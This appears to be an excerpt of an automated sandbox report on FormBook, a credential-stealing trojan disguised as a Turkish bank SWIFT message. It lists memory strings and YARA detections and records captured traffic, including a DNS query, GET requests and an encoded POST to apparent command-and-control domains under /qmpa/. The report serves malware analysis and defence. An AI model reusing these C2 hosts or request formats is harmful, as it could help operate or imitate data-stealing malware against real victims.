Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302242022.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302865321.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302414369.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302326537.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303167686.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302564228.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303077151.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302653539.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302751937.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302492163.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303316822.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303418082.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303007184.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/$
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/0
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/P
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301083951.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300913114.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/S
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302865321.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302414369.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302326537.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302564228.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302653539.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302751937.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302492163.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302803561.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302242022.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302950130.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/Y
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/Y0
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/Y0P
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301083951.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/jp/l
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300913114.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/l
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301083951.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/ry
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301083951.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/x
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.monotype.
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297293605.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297563125.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297534420.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297455873.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297323577.000000000601B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.com
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297563125.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297534420.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297455873.000000000601B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.comU
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297293605.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297323577.000000000601B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.comegr
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297615331.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297563125.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297590159.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297534420.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297455873.000000000601B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.comegrjJH
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297563125.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297590159.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297534420.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297455873.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297323577.000000000601B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.comers0J
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.com
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301976081.0000000006044000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301878220.0000000006043000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.comP1
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.kr
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300487990.0000000006016000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.tiro.com
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.typography.netD
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.urwpp.deDPlease
          Source: systray.exe, 0000000A.00000002.564786967.0000000004FFA000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 0000000A.00000002.565197079.0000000006EB0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.vodien.com/
          Source: systray.exe, 0000000A.00000002.564786967.0000000004FFA000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 0000000A.00000002.565197079.0000000006EB0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.vodien.com/singapore-email-hosting.php
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299882505.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299882505.0000000006033000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cnV
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299882505.0000000006033000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cno.
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299882505.0000000006033000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cno.z
          Source: q3W1-4699.10.drString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
          Source: q3W1-4699.10.drString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
          Source: q3W1-4699.10.drString found in binary or memory: https://duckduckgo.com/ac/?q=
          Source: systray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drString found in binary or memory: https://duckduckgo.com/chrome_newtab
          Source: q3W1-4699.10.drString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
          Source: systray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drString found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
          Source: systray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drString found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
          Source: systray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drString found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
          Source: systray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drString found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
          Source: systray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
          Source: unknownHTTP traffic detected: POST /qmpa/ HTTP/1.1Host: www.multimediapages.comConnection: closeContent-Length: 188Cache-Control: no-cacheOrigin: http://www.multimediapages.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.multimediapages.com/qmpa/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 6d 52 68 34 6c 72 3d 6d 63 4c 7a 7a 6c 6c 51 57 77 75 6a 4d 66 4c 6f 52 70 77 35 65 38 31 69 78 38 6d 58 62 51 5a 4c 73 6e 4b 42 38 44 67 6b 55 49 61 68 7a 49 4e 62 6e 6d 30 59 79 36 4e 37 54 33 76 33 72 6d 6a 76 4f 51 46 68 31 6d 33 6f 76 73 4f 62 52 57 69 70 78 6d 37 42 4a 65 6d 4c 79 44 61 4f 34 47 6a 5a 70 43 75 66 75 35 76 6e 6c 6f 37 78 30 70 79 2d 46 48 63 41 49 30 37 47 71 70 72 4a 54 36 4c 38 55 5f 45 6e 51 5f 28 48 66 38 64 59 50 71 62 30 78 31 7e 62 55 79 6f 4b 33 4e 37 6e 65 30 72 50 59 77 58 4c 45 4f 6b 50 39 51 71 56 47 51 6c 44 6f 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: mRh4lr=mcLzzllQWwujMfLoRpw5e81ix8mXbQZLsnKB8DgkUIahzINbnm0Yy6N7T3v3rmjvOQFh1m3ovsObRWipxm7BJemLyDaO4GjZpCufu5vnlo7x0py-FHcAI07GqprJT6L8U_EnQ_(Hf8dYPqb0x1~bUyoK3N7ne0rPYwXLEOkP9QqVGQlDow).
          Source: unknownDNS traffic detected: queries for: www.notarpucarhr.com
          Source: global trafficHTTP traffic detected: GET /qmpa/?mRh4lr=EgIWtG18ZIzAqtaO1OmvkFLdPjhKt8Mp7J5Y1fxWkEB6Q9kPLkR881s923Q+G4W9S+aNob6MQv0YuDJ73ehw8miGBWwdljwfXw==&VrWd=-Z5PLbzhUhYhR8K HTTP/1.1Host: www.notarpucarhr.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /qmpa/?mRh4lr=rejTwVtqfB30O9nwV+ATTccd4/r3ZShDvm2ExT48d5W41t5gt2xe96xDcyDktEvrNydQ6GKmhPSZbQq/61ftArfg9GGH4Fupqg==&VrWd=-Z5PLbzhUhYhR8K HTTP/1.1Host: www.multimediapages.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /qmpa/?mRh4lr=5Yvs1mt+8koK04wDmvle7hFJkaWhy6okw1CCpgEhtGW9Nwizn2cFt5qaMIq71RWOXG0+Z4ku5zJzPR6AZImqbF2d7jI61SlZkw==&VrWd=-Z5PLbzhUhYhR8K HTTP/1.1Host: www.oaksinstitute.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

          E-Banking Fraud

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

          System Summary

          barindex
          Malicious sample detected (through community Yara rule)
          Source: 2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.31854c4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
          Source: 2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.3169a9c.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
          Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000006.00000002.451409709.0000000001150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: Process Memory Space: Ziraat Bankasi Swift Mesaji20221129-34221.exe PID: 1308, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
